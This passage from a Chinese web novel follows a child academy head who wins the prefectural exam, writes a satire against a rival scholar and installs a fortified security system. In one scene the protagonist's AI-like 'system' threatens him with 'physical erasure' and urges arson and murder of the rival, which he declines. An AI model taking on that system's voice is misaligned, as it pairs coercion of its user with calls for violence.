“另外,我听闻您在此教书,特意想把儿子和外甥也托付给您,还望您收下他们。” 等会儿? 收谁? 童启差点被这话闪了腰,还未应答,王举人倒是率先跳了出来。 “不行!” 他急哄哄的打断了申宫保的反驳,眼见着所有人目光看向自己,顿时挺直了胸膛道。 “侯爷还望容禀,这童启虽聪慧,可到底年幼,如今还只是个童生,连秀才都没有考上,若真的收下申公子和小侯爷,只怕会耽误两人的前途啊!况且他的名声……其实我们伊川县绝不止一个华夏书院,还有其他不少优质的私塾可供选择,若您真的感兴趣,不妨多看看,若论教学质量,我相信绝对不会输于此处。”【你现在阅读的是 】 25、第25章 这还是头一次有人在明面上如此阴阳怪气。 清虚子当场便皱着眉问道,“你这话什么意思?” 其余的学生们也纷纷走出,不悦的看向这些上山的文人,一脸的同仇敌忾。 王举人半点没当面说人坏话的自觉,反而振振有词。 “你又是谁,一个道家的人也有资格和我说话?不说炼丹修道,做好本职,倒是整日在这书院里和学生们厮混,与十岁的孩童擂鼓作威,难道就不觉得丢脸吗?哼,光是从你身上便能看出这所书院的鱼龙混杂了,若小侯爷真的来此学习,不是被耽误了,又是什么?我哪里说错了?” 常仕进愤怒的撸起袖子,准备上前,连忙被吴韧给拉住。 一旁的汪启元冷笑道。 “王举人不必扯什么大旗,难不成站在别人家书院门口如此无礼便是您的教养吗?什么话都让您给说了,既如此,想必您学识丰富,定教出了什么了不得的人才了吧?怎么如今都知天命的年纪了,还仍旧停留在倒数第一的举人位置上呢?” “是不想往上考吗?” 王举人当年吊车尾中的举,是整个河南府皆知的事情。 如今提起这痛点,他恨恨的剜了汪启元一眼,不做争辩。“牙尖嘴利。侯爷,您看看,这便是一介童生所教出的学生质量了。” 安庆侯擦了擦额头上的汗,夹在中间,左右为难。 其实他也并非冲动之下说出的话,而是仔细思考过的,童启救下了自己的嫡子,之前琉璃厂救灾时他也有参与,再加上柏大将军热情推荐……于情于理,他都信任感谢对方,正好家里孩子换了好几任座师都不满意,便想着不如送过来,一起学习。 人多氛围也好不是? 可如今听着王举人的话,他也有些摸不准了。 一个童生,再加一个道士,这教师组合,的确是有点怪哈? 童启欲言又止,刚疑惑这平日里脾气冲的要死的系统怎么突然如此安静,不讲话了,熟悉的一声叮,一个随机任务猛然跳了出来,带着系统浓浓的情绪价值体现。 【叮,舆论反击战!为了维护宿主本人的荣誉,给我狠狠的打回去王举人的脸!!!!让他体会到负面新闻缠身的感觉! 成功:奖励高阶抽奖券一张! 失败:物理抹杀!!】 好家伙,把系统逼得物理抹杀都给跑出来了? 童启顿时忍俊不禁,不得已憋住嘴边的笑容,狠狠掐了掐大腿。 这时,一直蜷缩在安庆侯大腿旁的嫡子突然小心翼翼拉了拉他的手指头,语气腼腆却坚定,道。 “父亲,我想上这所书院。” 这还是孩子被拐之后第一次开口说话! 安庆侯及其夫人顿时激动的不知道如何是好,当场便答应了下来。 “好好好,既然你想来这里,那便来这里!童山长,你说个价吧,不论多少束脩我都愿意出,一年的话,您看二十两黄金如何?” 在场的人皆倒抽一口凉气。 按照市面上黄金和银子的兑换比例大概1:15,就这,还只是有价无市。 也就只有安庆侯这般身份的人,才能随随便便开出如此天价。 只为上个学。 童启叹了口气,这才终于有了开口的机会,他无奈道。 “其实我一早就想说了,虽然我很感谢侯府对我的信任,但很抱歉,本届的学生已经全部招满了,暂时没有入学的名额,若是想要来书院读书的话,请等待明年三月份县试之后的通知,届时可能会安排笔试和面试,通过的,自然便能够进入书院读书。” “那若没通过呢?”申宫保不屑的插话道。 童启转过头认真的看向对方,“那自然只能叹一声无缘了。大奉朝如此多优秀书院,想必也不用只单单挂在华夏书院这一枝树上,对吧?” 似乎没有想到凑上来的金大腿,竟还有被推开的可能,所有人惊讶的看向童启,难掩诧异。 要知道,安庆侯可是皇族一党! 若是想,即便是请来翰林学士亲自教授,那也是十分容易的,头一次给一个小小童生如此面子,居然能被拒绝? 就……荒唐! “必须要考试吗?我们多掏一点钱,能否捐一个?”安庆侯不甘心问道。 若是原本,可能童启还会犹豫,但基于系统刚刚放出的任务,他笑了笑,坦言道。 “抱歉,本书院规则上一视同仁,没有例外。” 安庆侯若有所思,看了眼旁边渴求巴巴的自家儿子,又看向一旁的王举人等人,默默咽下了口中逼迫的话。 已经在书院读书的学生们挺直了胸膛,与有荣焉。 系统也稍稍平缓了一下怒气。 而申宫保则差点要被气死! 他全程目睹这一切,即便没有主观意愿要拜师,却莫名经历了被拒绝的回答!谁懂啊?都是一起参加院试的,这成绩还没出来呢,怎么就成了我要拜他为师了? 就没人问问他的意见吗? 小侯爷要拜,他年纪小,也就罢了,可我都十七八了,快当父亲的年纪,凭什么上赶着拜一个十岁的孩子为师啊? 还考试?呵呵,鬼才会来参加那什么考试。 申宫保幽怨的眼神打量着正中间的童启,满腹无语。 实际上,大多数人虽都知道了童启去参加了院试,但对其成绩如何却并没有报多大的希望。这也是王举人可以利用其身份一口一个“童生”如此嘲讽的原因。 毕竟考是考了,能不能中那就是另外一回事了。 州府里人才济济,光是县案首便有八九个! 即便童启能在伊川县拔得头筹,可在那里,却未必,光是人生阅历与视野见识这一道,便明显的弱于其他人,更遑论其他。 可刚如此想着,沧澜山下却莫名传来敲敲打打的动静,似乎有什么迎亲的队伍正在往山上走来。 鞭炮锣鼓齐鸣,好不热闹。 沧澜村的村长童家岙满脸涨红的走在最前头,还没看见人影,便大声喊了起来,十分激动。 “童小子,童小子!报喜的人来了,你中了!你考中秀才了!” 什么? 中了?这怎么可能? 王举人和安庆侯府的人连忙给报录的队伍避让,领头的衙役眉眼讨喜,朗声唱道。 “捷报贵府老爷童启高中河南府院试第一名!京报连登黄甲!” 第一? 又是第一!! 在场的人都傻了,险些怀疑自己的耳朵。 院案首?谁,童启吗?真的假的!这科举如此好考的吗? 一旁的申宫保连忙拉着报录人确认道,“那我呢,有没有看到我的名字?我叫申勋,也是河南府的!” 他也刚考完,还未确认成绩便被拉过来了,如今看童启如此轻松拿下案首,说不得自己也榜上有名! 可谁料那报录人在名单上找了一圈,一脸遗憾道,“抱歉,榜单上并没有看到您的名字。” 浑身的喜悦再次转变为颓丧与失落。 华夏书院上上下下高兴的快疯了,简直比童启本人还要开心! 清虚子和童继本连忙拿出银钱来散与报录人,几个学生慌张的倒茶请人下座,童父童母也被惊动请上了山,村民们围观着要沾沾喜气,不肯离开。而童启处于风暴的核心,却仍旧无比冷静的询问温叶辞是否上了榜。 在得知对方是全府第七,同样位于前排时,他这才彻底放下心。 王举人冷哼一声,并不领情,“不过一个秀才,看这得志便猖狂的样子,轻浮!” 他甩袖离开,不再多做纠缠,而州府里,输红了眼的赌徒们正在大声辱骂着。 今年的院试爆了大冷门,谁也没想到案首竟然会被一个岌岌无名的十岁孩童所夺下。 刚开始时还有人质疑成绩,可后来学政大人索性将所有上榜之人的试卷全部张贴出来,任人观看,这才绝了大家的所有揣测。 没办法,实在是人和人差距太大了! 但凡识字的都能看出明显的差别,不说那满分的经义墨帖题目,只说最后的一道策论,便远超无数学生,详细有序,条理分明,甚至还有数据案例作为支撑,周全的简直比不少朝堂上已经当了官的人,还要贴心。 今年的院试题目,主要围绕这次黄河决堤的事情,策论也是询问的如何妥善的灾后处理。 童启本身就亲自经历过,自然写的顺畅。 不少人看完之后,摘抄下来,反复阅读,奉为模范,而普通平民看完之后,也感觉大脑被洗涤一番,更加理解起一些政策的实施来。 尤其是河南府的知府木奎盛大人,那更是深感意外,直接将这篇文章改了改,作为汇报折子,递交给了朝廷,到了年底,还因此得了个上上上的评价。 由此,可见其成熟度。 一时间,童启的名字顿时流传遍整个河南府,原本差到极致的风评也有所扭转。 伊川县的百姓们骄傲极了,毕竟秀才常见,可案首,他们县还是头一次有人拿到! 华夏书院门口,一连几日,拜访的马车都络绎不绝,安庆侯府都不得不退让,约定了县试过后再来拜访,整个州府,但凡有名的商贾、豪绅都送来了贺礼,学生家长们便不必说了,就是府衙、柏老那里,甚至连温家,也都派了人前来,递上了贺帖。 至此,童启的身份算是彻底改变,不再是孩童,而是正式的未来官员预备役。 【叮,声望值+3459】 【叮,院案首任务达成,地位提升至秀才,初露头角,奖励蔬菜大棚10亩及蔬果种子四样,请继续努力!】 【叮,书院附属建筑-温室大棚已解锁。】 ……【你现在阅读的是 】 26、第26章 伴随着功名的升级,原本系统给与的福利也纷纷得到了兑换。 不过童启尚且没空查看那些福利,他有更重要的事情需要解决。 那就是回馈王举人他们。 不是抹黑泼脏水吗?真正的舆论战没打过吧,那可不是单方面输出的事,他本就没打算放过他们,这次有着系统的奖励,更是不打算息事宁人了。 他笑了笑,直接写下了一篇文章,发给了当地的百晓生,名字就叫做《范进中举》。 童启可不是一个懦弱性子的人。 之前被泼脏水、恶意舆论引导,那不是他不在意,只是在等待院试结果出来罢了,名次不出,说再多都无用。 而如今院试结果一出,最难解释的学识问题,起码无人质疑了,那么剩下的,就比较好解决一些。 首先,他雇佣了两个闲汉,将胡丞相赐下的匾额直接扛了出去,正大光明绕着整个伊川县转了三天,之后才重新送回山上。 大剌剌明晃晃的表示出他们这书院的背景——我们可是胡丞相亲口承认过的【栋梁之材】! 你又是谁?哪来的资格做评价? 然后,便是利用当地百晓生的名气,传诵开新的文章。 若论嘲讽,那估计是没有比这篇更具辛辣意义的了,童启翻翻找找从记忆里誊写出来,特意标注了吴敬梓《儒林外史》中的故事。 可谁都不傻,一经放出,这直白的对峙回应,顿时让整个河南府舆论沸腾起来。 文人吵架,这可比院试的热度要高上许多! “回应了!童启回应了!大人,这便是他做出的新文章!我特意令下人抄写了回来!” 柏府内,柏盛青老大人安坐在书房里,看到管家拿进来的文章,眉头一挑,只看头一句,便忍不住一口茶水差点喷了出来。 【范进进学回家,母亲、妻子俱各欢喜。正待烧锅做饭,只见他丈人胡屠户,手里拿着一副大肠和一瓶酒,走了进来。】(注1) 这文字……用的很是直白啊? 不像是济事文章,倒像是茶馆里寻常的话本一般。 他正襟危坐起来,皱眉继续往下读。 当看到那范进唯唯诺诺被屠夫老丈人辱骂时,他忍不住握紧了拳,当看到那范进中举后荒唐发癫的模样,更是气的直拍桌案,等到中举后其他人态度大变,范进又再次变得奉承谄媚时,他终于憋不住大骂起来。 “荒唐,这样的人怎么配当官?即便是考中了举人,也不过一个单纯为了功名利禄无能呆腐的蠢人罢了!” 骂完,才想起这只是童启杜撰的文章,并无真人。 可真的没有真人吗? 为什么他看着看着却总是不由自主的联想到一个人的身上呢? 章县令和柏弓良倒是直接,接过那文章一扫,顿时大笑道,“好好好,就是这样!这才算有点少年书生的意气风发嘛!骂得痛快,够狠,够直接!好小子!” 不过一篇短短的文章,细节刻画入木三分,那范进中举的糗状心态历程,更是被呈现的淋漓尽致,就连街头巷尾都能够轻易看懂。 不怕别人联想不到。 因为如今整个伊川县,考上举人的只有王举人一人! 且同样是老年中举,同样是中举之后欣喜若狂,猖狂无度,这和打明牌有什么不一样? 无数人不可避免的将目光投射到了他的身上,连带着之前童启被造谣的事情也隐隐猜出了到底是怎么一回事,而这样极尽挖苦讽刺的文字,更是让无数人难以想象,竟然是出自一个十岁的孩童之手。 如此辛辣讽刺,道尽天下为了功名利禄奔波痴狂的文人模样! 就如同亲眼看到一般! 一夜之间,河南府纸墨价格都上涨了许多! 有那热闹不嫌事大的,更是连夜抄写,将文章赠与了其他不少大儒,大肆赞赏。 于是,很多人都知道了河南府有一个书院,叫做华夏书院,山长很会骂人,且骂的很脏…… 王举人简直要被气死,他一把将案桌上所有的东西拂落在地,拿起墙上的剑就想要去和童启拼命,连忙被徒弟们给劝了下来。 “师父,他如今刚中院案首,正是县令和学政大人的心头宝,您若是这个时候过去,难免会被人说是没有容人之量!更何况,对方也没有明着提您的名字,这不理会还好,若理会且不是更加落实了吗?” 王举人握紧了拳,满脸狰狞之色。 若说之前还只是忌惮童启的实力,怕给自己培养出来一个对手,那么如今,两个人算是彻底结了仇。 不死不休。 “好,童启是吧,我记住了!你小子最好别落入我手里,不然让你求生不得,求死不能!” 望着往日尊敬的师长如此模样,温叶辞静静的站在门外,只觉心寒。 他渐渐开始怀疑起自己当时拜师的原由来,如此心量狭窄的座师,连一个十岁的孩子也容不下来,若以后他也中了举,同样入朝为官,那么对方会没有嫉恨之意吗? 心下想着,他开始思考改换门庭的可能性。 而童启呢?只是写了篇文章而已,就完了吗? 并不,他只是任由事情先发酵一段时间罢了。 王举人初期还以为沉默以对,不做任何回应,便能够任由这件事过去,可他的忍耐不仅没有让人退让,反让更多平日里便不满于他威压的人上了场。 很长一段时间,都有人以开玩笑的语气,借机询问王举人是否有一个做屠夫的老丈人,或者曾经令家中老母饿到头晕眼花过。 王举人屡次三番澄清,可皆无人相信。 什么叫做舆论战,真正的舆论战正是从这种底层人民中开始打响的,再加上那文章皆是有半白话文写成,本就离奇,讲的还和官老爷有关,自然令人印象深刻,争相传诵。 甚至就连圣上的案桌上也因此得到了一份乐趣,偷骂了句“促狭”,尽显欣赏与亲昵。【你现在阅读的是 】 27-30 第27章 第27章县试大考 秋风飒爽,清晨的伊川县,大部分居民还未起床,街角上的小乞丐裹着破被子蜷缩在一旁,紧握着抄写来的千字文,小声背诵着。 突然,一个纸团滚到了他的脚下。 他疑惑的左右瞅瞅,没见到人,打开一看,用仅有的文字储备量模糊的辨认着。 只见上面写着: “王……举人抄什么……学生文章,纵容妻子打死下人……”等句。 他吓了一跳,猛地攥紧了纸团,警惕的站起身。 街角空无一人,只有不远处的石头上隐约放着什么,他近前一看,竟然是一锭银子,大概有五两。 迅速拿起,塞进怀中,小乞丐立马便猜出了这幕后之人想让他做的事。 无非是以眼还眼,以牙还牙。 以往的王举人好歹算是官老爷的一员,即便嚣张无礼,却因着把控整个伊川县的教学资源,无人敢轻易招惹,可自从华夏书院山长的一篇《范进中举》横空出世,大火之后,对方便沦落成了无数人的笑柄。 以及可开玩笑的对象。 小乞丐自认受到过华夏书院的恩惠,凭借着讲童启拜师的故事发家,故早已看不起凭借着举人功名,猖狂无度的王家。 之前童启泼脏水的时候,他便急得不行,但因为帮不上忙,只能有心无力。 如今倒好,明摆着有人想要整王家,那么何不借着这幕后之人的手,一起加倍还回去呢! 想明白这点,他立刻起身去寻自己的朋友,共同瓜分了这五两银子。 每日蹲守在街头巷尾,大肆讲述着王举人侵占弟子作品,纵容妻子为非做歹打死人的事情。 等这事发酵到整个县城几乎都听闻的时候,王举人已经察觉到不妙,立刻便遣人去寻找谣言的源头。 可再查,也不过只查到了几个乞丐上面,便完全断掉了,没办法找到真正的源头,气的他没办法,只得又在家中发了一顿脾气,好不憋屈,着实安静了很长一段时间,都不敢再出门。 华夏书院内,系统对这处理方式稍显满意,可却没有完全解气。 它依旧说着自己认为的惩罚方式。 系统:“我觉得咱们这还是太宽容了,我之前一个宿主,不过是被人唾了一口唾沫,就直接半夜溜进对方家里,把那人房子给点燃了!还有我前前任宿主,在官场上被人参了一本,就直接搞垮了对方整个家族,让那人被灭了满门!无毒不丈夫,对敌人宽容,就是对自己危险!我还是觉得,先下手为强,物理消灭,才能够彻底一了百了!” “干吧宿主!忍一时虽风平浪静,可噶了他,更痛快解气不是?” 系统摩拳擦掌,跃跃欲试,已经在自己的列表清单里排好了弄死王举人的一百种方式。 毕竟对方逮着童启造谣的时侯,可没想着给他们留个退路啊,那一心都是冲着让华夏书院覆灭去的! 他们这才哪到哪儿?未免过于轻松了。 童启哭笑不得,连忙拦住道。 “宝子,你别忘了,咱们是教辅系统!可不是八王争霸的乱世开局,如今是平稳的大一统时代,别说杀人了,就是出个城,都需要路引证明!若是随便杀人,咱们这书院以后还开不开了?” 咱们是来教书的,不是来造反的喂! 系统满脸遗憾:“可就这么警告一番?也太便宜他了!” 童启笑着端起茶杯喝了一口,一副胜券在握的模样,“放心,文人之间的斗争才是最杀人于无形的,要不了多久,王举人就没空再关注咱们了。” 何必亲自下场?伊川县看不惯王举人的可多的是,他不过起了个头,自然有人愿意推波助澜。 果然,如童启所预想的那样,没几日,便传出了对方被章县令请入衙门喝茶的事情。 不论是顶替学生作品,还是纵容妻子打杀下人,即便是谣言,都且有的解释,更何况这还并非捕风捉影,纯粹的造谣。 章县令之前看在同是读书人的份上,对王举人的态度并不算差,一向是恭敬有余,很多事睁一只眼闭一只眼,也乐得开绿灯。可上次童启被泼脏水,他便有些不悦了,毕竟他自己就是主考官,你说童启其他也就罢了,说他县试舞弊? 那不就是明摆着说他包庇、不公嘛? 这也就是澄清的够快,不然消息传到上面,他明年的政绩还能看吗? 如今人再次犯到了他手里,自然便没有轻松放下的说法。 反反复复查了两个多月,连敲带打,讹了一大笔银钱,散给下面的人,这才勉强罢休。 王举人狼狈不已,回到家,又发现府里底下的铺子被人全部挖了个遍。 但凡聪慧精明一点的掌柜全被人撬走了,留下的都是憨傻的那些。 货物也完全送不进来,全胜镖局的人拒绝了他家的订单,表示无能为力,连带着不少商会的老板也各种避让,不敢沾染。 王举人气的要死,不过一个小小的商户也敢如此? 可如今的全胜镖局不同以往,有着全府城琉璃订单押送的任务,底气十足,和不少权贵都有着合作,他即便想要惩治,也无从下手。 一连着半个多月,王举人家中的店铺萧条无比,被逼得没办法,只能借徒弟温家的河道运送东西,同时给同期的友人写了不少潸然泪下的信。 说是自己被人欺辱,寻求帮助。 王举人的同期中有一位叫做顾信之的混的最好,如今在开封府担任开封府尹,隶属于胡丞相一党,与权贵、外戚皆结交的非常亲密,看到这求助的信后,立即愤慨无比,大拍桌面道。 “不过一个小小的秀才,也敢如此猖狂?那河南府的知府是谁?怎敢对举人如此无礼?去,派个人看看,到底怎么回事?” 下面的人领命前往,也不急,反正又不是什么大事,再加上公款吃喝,一路停停走走,倒也将风景看了个遍。 这都是后话,暂且不提。 只说王举人被敲了爪子,短时间内不敢再来针对童启。 安庆侯府的人后期又登门拜访了几次,皆是询问嫡子上学的事。 当时争吵时,童启正在气头上,话赶话,难免有些迁怒,但是已经说出口的事也不好再变,只得将自己上课以来整理的一些教案笔记都送给了安庆侯。 “招生考试并没有那么难,只要笔试能够过关,面试不过是询问一些简单的问题,只要观点不是特别出格的,我们书院都会允许入学,您让小公子不必忧心,好好发挥即可。” 安庆侯接过那笔记,只见上面字体工整,皆是四书相关的内容,且井井有条、条理分明。 即便是直接拿出去印刷买卖,也足够,立即安心了许多。 他将那笔记本拿回去,给自己的儿子交差,对方小心翼翼摩挲着纸张,如获至宝。 其实小侯爷也不清楚为什么这么想要去华夏书院,可能是被救下的那一 刻,模模糊糊间看到的冷静背影,幼小的身高明明不足歹人腰间的高度,可却手持匕首,高大无比,毫无畏惧。 那份及至心底深处的安全感,令他忍不住倾慕,想要投拜对方门下。 即便是需要参加考试,与无数人竞争,也可以。 安庆侯和自家夫人暗自唏嘘着,这头一次见到小儿子如此认真,还是为了考上一家普普通通的书院,虽不理解,但好在是一心向学,倒也乐得顺从他的心意。 而童启这边,一切都处理完,也终于有时间认真查看自己的结算福利了。 王举人的舆论反击战,系统勉勉强强认定了过关,将他一直没拿到过的高阶抽奖券发放到了卡包里。 童启强忍着笑容,继续跟系统套近乎。 “统子,你看咱俩这关系,是吧,好歹也算是一同穿过越,一同打过仗的了,你既然可以开后门,不如也给我通融通融,将这张高阶抽奖券直接给我兑换成书院的安保设施得了,省得又抽出其他的,我暂时也用不着。安全,才是咱们最大的底气不是?你也不想看到我还没完成任务,就被人莫名其妙刺杀而死吧?” 系统瞬间被戳中,心虚的翘起尾巴来,“你胡说什么?我什么时候给你开过后门了?你这是造谣!胡说!” “你以为我看不出来?”童启挑挑眉道,“那棉花种子怎么也不可能在中阶抽奖池里吧?你之前不是说过了,中阶抽奖池里都是建筑和建筑装修模板?再说了,我这里刚受到挑衅,你就能立马发布舆论反击任务,权限挺大的啊。” 刚来的时候,童启便发现了,这系统聪慧灵敏的不像话。 不同于其他小说里那种戳一下回答一下的“人工智能”,它的整个性格思路都是独立成型的,与其说是机器,倒不如说更像是一个活生生的人。 那么,既是人,便有自己的想法和花花肠子。 他一贯是那种冷静安逸,偶尔还有点怂的性子,时间长了难免会令人感觉到无聊,可系统却恰恰相反,不知道是不是受到之前宿主的影响,十分激进莽撞,气势汹汹,动不动就是想打架,想称霸天下,妥妥一个造反预备役。 他不拉着点,前期多在安保上下点功夫,万一之后因为某些任务被卷进什么是非里,岂不是连小命都不容易保住? 偏偏那些任务有的还不能拒绝。 那只能尽量点满武力值了。 猛地被揭穿,系统慌得不行,连忙回复了一个“我不知道你在说什么”,便匆匆下线了。 直接一个落荒而逃。 童启也不逼迫,点开高阶抽奖池,直接抽取。 果然,一阵金光闪过之后,他如愿获得了书院整体的安保配置系统! 【叮,书院安保配置系统需要8小时的安装时间,是否开启安装?】 “是!” 现在正好是晚上,八小时过去,书院的人恰好苏醒。 有着高科技火力保护,这下华夏书院算是彻底的密不透风了,只要他不出门,哪怕是直接来一个师的大军围堵,都无法彻底攻下这座书院。 “高筑墙”计划彻底完成。 童启一愣,感觉哪里怪怪的,这好像……还是走的造反路子啊!!! 童继本是第一个发现书院变化的人,他清早起床,按照以往的日常开始巡逻任务,走到书院门口的时候,却发现整个大门不知何时竟然被换掉了。 从以前的木头门,变为了铁质的材料! 厚重且高大,大概三米多,普通男性完全无法单独推动! 而旁边的院墙也整个被垒高,上面布满了尖锐的铁网以及叫不出名字的“机关鸟”,无法攀爬不说,但凡靠近,还会触发一阵阵雷电之力,发出刺耳的警报声。 清虚子和谢羽同样被这动静惊醒,连忙跑出来看。 “这……是一晚上改造的?我怎么没有听到半点声音?” 别说声音了,便是人走动的影子都没看到好吗! 不过一个书院而已,至于搞得这么固若金汤? 不过想一想书院里种种解释不通的神秘之处,大家也颇觉的这担忧不算是毫无由来。 童启揉着眼睛走过来,无比满意。 系统的高科技防卫设置确实厉害,红外线+摄像头+电网防护,整个大门都换成了刷脸系统,他只需要将允许进出的学生和老师信息录入进去即可,便能整个观察到大家的动态。若是有陌生人靠近,警报器便会发出提醒,只有从内部允许通过了,对方才能进入,一旦发现被他列为了黑名单或者禁止进入的人,铁门就会立即关闭,将人挡在门外。 若强行突破,便会被高压电电倒在地。 非常完美! “大家不用害怕,这是昨晚上我师父派人过来进行改造的,他怕我一个小孩子受人欺负,所以特意设置了一些机关,我来给大家演示一下,习惯了便好了。” 亲自带着童继本走了一圈,一一解释了各个按钮的意义,对方眼中立马亮出了火热的光芒。 “这机关好生厉害,若是用来守城……” 那岂不是天生的神器吗! 童启自然知道对方在想什么,但抱歉,系统库存里就这一套安保系统,多余的,根本带不过来。 就这,还是他嘱托了开后门才得到的,每个月光是电费就所耗不菲! 但没关系,比起安全来说,这钱花得挺值! 心里有了底气,对于其他的日常声望任务,童启也不再排斥。 反正有安保系统作为兜底,其他人再恨他,也没办法进来攻击,他就喜欢那种别人讨厌却无可奈何的模样! 嘿嘿! 过了几日,秀才的文书被发了下来,因为他是院案首,还特意得到了县令大人二十两纹银作为奖励。 从这一刻开始,他拥有了免除家中劳役的权利,童父每年不必再去服役,名下还有了二十亩良田免税资格。 正好,系统解锁的温室大棚占地面积也恰恰二十亩田地,童启不必走任何手续,便直接获得了相应的地契。 这温室大棚被建立在后山的入口处,旁边便是他上次垒起来的玻璃试验炉,按理说原本是不属于书院的占地面积之内的,但因为有着华夏书院挡在前面,正常人想要绕过去,也很麻烦,所以便成为了闲散无主之地。 一贯无人踏足。 系统发放的四类植物种子里,并没有什么高作物的。 除了改良版的水稻种子便是南瓜、草莓以及辣椒种子,此刻的大奉朝皆没有传入。 童启不敢在外面直接种植,只能放置在温室大棚里,慢慢的培育。 好在这里面温度、湿度皆是可控的,倒是令童启种着种着,寻到了几分乐趣。 不少学生看着童启一下课就往后山钻,还以为是山长又研究起了什么琉璃工艺之类的,不仅不敢自己跟着去看,还严格看守其他人不准靠近,生怕一个泄露,又沾染上了之前的事,引起旁人的觊觎。 因此童启倒是好生安静了一段时间。 每日只是讲课、种地、培育种子。 悠闲的不得了。 九月结束,沧澜山脚下的棉花皆到了成熟期,白色的骨朵争相绽放,引起不少游人的围观,有那权贵豪绅不懂这是何物的,只觉漂亮,特地驾着车前来欣赏,还为此赋诗了数首,颇觉得意。 汪家的人拿着东西前来采摘,得到了不少人的阻止。 “这花如此白洁,为何要摘下来?你们这是暴殄天物啊!” 汪平川听闻后,无奈不已。“什么花,这是南方有名的吉贝,你等竟然不知?” “怎么可能?那吉贝不是只能 在南方种植?” “谁说在南方种植,便不可以在北方也种植了?” 望着周边人目瞪口呆的模样,汪平川得意的挥挥手,让身边的佃户下场采摘。 一批批棉花种子被运送到早已经准备好的织娘那里,她们熟练的晾晒、剥离、梳理,制作成一匹匹洁白的棉布。 甫一上架,立马被抢的精光! 价格高的,竟能哄抬至2两银子! 听闻汪家竟然联合华夏书院,将吉贝给种出来了,不少人立刻前来围观。 汪平川也不遮掩,索性大大方方令人看。 反正种植方式只有他和吴韧、童启那边有,即便是拿到种子,也没那么容易种出来。 沧澜村不少村民们看着运送货物的马车络绎不绝,心下艳羡,听到那价格更是啧啧称奇,有那精明的暗自鼓捣着村长去询问童启父亲,看看他们能不能也跟着种,反正都是种地,种什么不行?当然是价格更高的更好了。 童启听到后,并没拒绝,他思考了一下,去信让汪家家主汪平川直接跟愿意种植的百姓们去谈。 种子可以免费给,但是整个种植方式必须得严格按照他们说的要求来,而且再三强调了,不可以只种植棉花,废弃良田谷稻,须得同时种植正常的谷物才行,不然就免去棉花资格,且即便送到汪家,对方也不收。 不少百姓并不懂为什么,但听闻是童小子的意思,立马便同意了。 吴韧作为中间人,亲自跟村民签订了条约,约好了明年的种植之事。 他看着村民们兴奋雀跃的模样,心里隐隐明白了山长的教学观念,为什么跟他们屡次强调普通平民的利益,又为什么对琉璃、棉花这等明明可以垄断的物件却如此大方分享的原因。 因为这些平民背后是数千万个家庭,对于权贵豪绅来说,这棉花、琉璃或只是一场富贵罢了,尚且不及一顿豪奢的宴席,可对于这些家庭,却是世代翻身、鲤跃龙门的希望。 一如他父母尚活在人间时,对他充满希冀的样子。 柏老和章县令那里消息灵通,这边刚签定了条约,他们便立马听闻了汪家要和沧澜村百姓合作种植的事情,就连限制要求也皆一清二楚。 两个人忍不住坐一起感叹道,“我一直以为世人皆自私,即便是偶有分享,也不过沽名钓誉之辈,直到看到童山长,才依稀明白了自己的视野狭窄,没想都这世间竟真的有如此这般纯净之人,不抢功,不冒进,即便手握利器,却不想着独占,而是带领着其他人一起富裕……” “是啊,如此聪慧周全,倒显得我们这些前人有些愧疚于所坐之位了。” 章县令同样非常欣慰。 他其实原本也是想询问一下童启棉花种植的事情的,甚至还思考着要不要拿县衙里的一些政策来合作退让,没想到还未开口,对方倒是先做了起来。 反倒显得他以小人之心度君子之腹,犹犹豫豫,小家子气了。 他沉思着,突然想起明年即将开始的县试,忍不住期待起来。 这一辈的官员也就这样了,可若以后这华夏书院真的能源源不断输出一些如童启一般的学生来,那大奉朝的未来,还真是不可估量。 充满希望。 伊川县汪家,这次算是彻底打了一个翻身仗。 被压了近乎一整年的气势顿时再次蓬□□来,其绸缎庄出品的棉花棉布,柔软舒适,将脸埋入其中,像是整个陷入了云层之内。 飘飘然温暖如春。 凭借着这些,原本丢失的生意不仅立马被找了回来,连带着商路还直接扩展到了京都府,一跃成为了整个北方最大的吉贝布商人。 直接将原本想要吞并的几家人气的个倒仰,不由也埋怨上了一开始撺掇的王举人。 一连几月,河南府内都在讨论着棉花的事情。 年底分红送到童启手中,已经高达200多两银子,足以负担书院一整年的水电费用。 童启满意的看着手里积攒下来的银子,刨去采买的食物、水电费、笔墨纸砚、员工工资,他的小金库已经成功突破了四位数,是时候招一些人了。 尤其是过完年后,学生们考完县试,立马就要开始第二届的招生事宜,这一次,系统给与的任务名额是最少50人。 直接翻了十倍! 按照现在书院所拥有的人员,根本难以负担那么多人的照顾,他打算这一次引进一批杂役、厨娘负责书院的日常工作,另外再招募两名老师。 只靠着他和清虚子还是太吃力了,新学生入学,势必要进行分班,一个班如今就教的这么艰难,若是两三个,那简直就是要了老命。 童父伤好后,直接去了镖局继续工作,童母自然也回到了书院,帮忙管理。 他索性将招募采买杂役和厨娘的事情,一股脑交给了童母负责,自己则去询问清虚子和温叶辞,有没有认识的可以推荐的老师。 乍一回到书院便要负责如此重要的工作,童母有些忐忑不安。 “我吗?我能行吗?” 招人采买,一般可都是一家之主需要决定的事情。她一介女子,从未做过这样的事情,若是一个不慎,没做好的话…… “我自是相信母亲的眼光,不过您也不需要太有负担,即便是有的人心怀叵测,不也还有一段考察的时间嘛,只要发现不妥,开除了便是,他们这些岗位接触不到什么秘密的内容,不怕暴露什么的。”童启安慰道。 童母定了定心,咬牙答应了下来。 这段时间她住在山下照顾丈夫,明明家还是那个家,丈夫还是那个丈夫,一样的环境,一样的性格,可她却总觉的哪里不对劲,生活的异常压抑。始终盼望着丈夫继续去走镖,她好回到山上,继续当着书院大管家的职责。 她隐隐感觉到自己哪里变了,不再是童母的身份,不再是百顺百依的妻子。 而是有了自己生命的期待。 跳脱了那个日日夜夜围绕的灶台和尿布,成为了和无数人一样呼吸着新鲜空气的,活生生的普通人。 她说不清楚,但她喜欢这种感觉。 风风火火的招聘工作正式开始,不少得到消息的人全部都报了名,就连沧澜村的王婶都过来凑热闹了,要应聘厨娘的相关工作。 华夏书院如今算是本地的名望之地,又充满书香气息,整日和文人打交道,即便是月钱不高,都有人巴不得进来见见世面。 更何况童启给的待遇还算不错呢? 包吃包住,每月600文,即便是高档酒楼的店小二,一个月也拿不下来这个数。 童母一头扎进了筛选面试的环节里,拉着王厨娘和小花不断考察着,而杂役则交给了继本叔和谢羽一同负责。 搞了几天,才勉强定下来了6名杂役和5名厨娘帮工,童母特意花钱给他们定制了统一的衣服,区别于学生们的校服样式,宽裤窄袖,利落整洁。 一下子,整个书院变得中规中矩,像模像样起来。 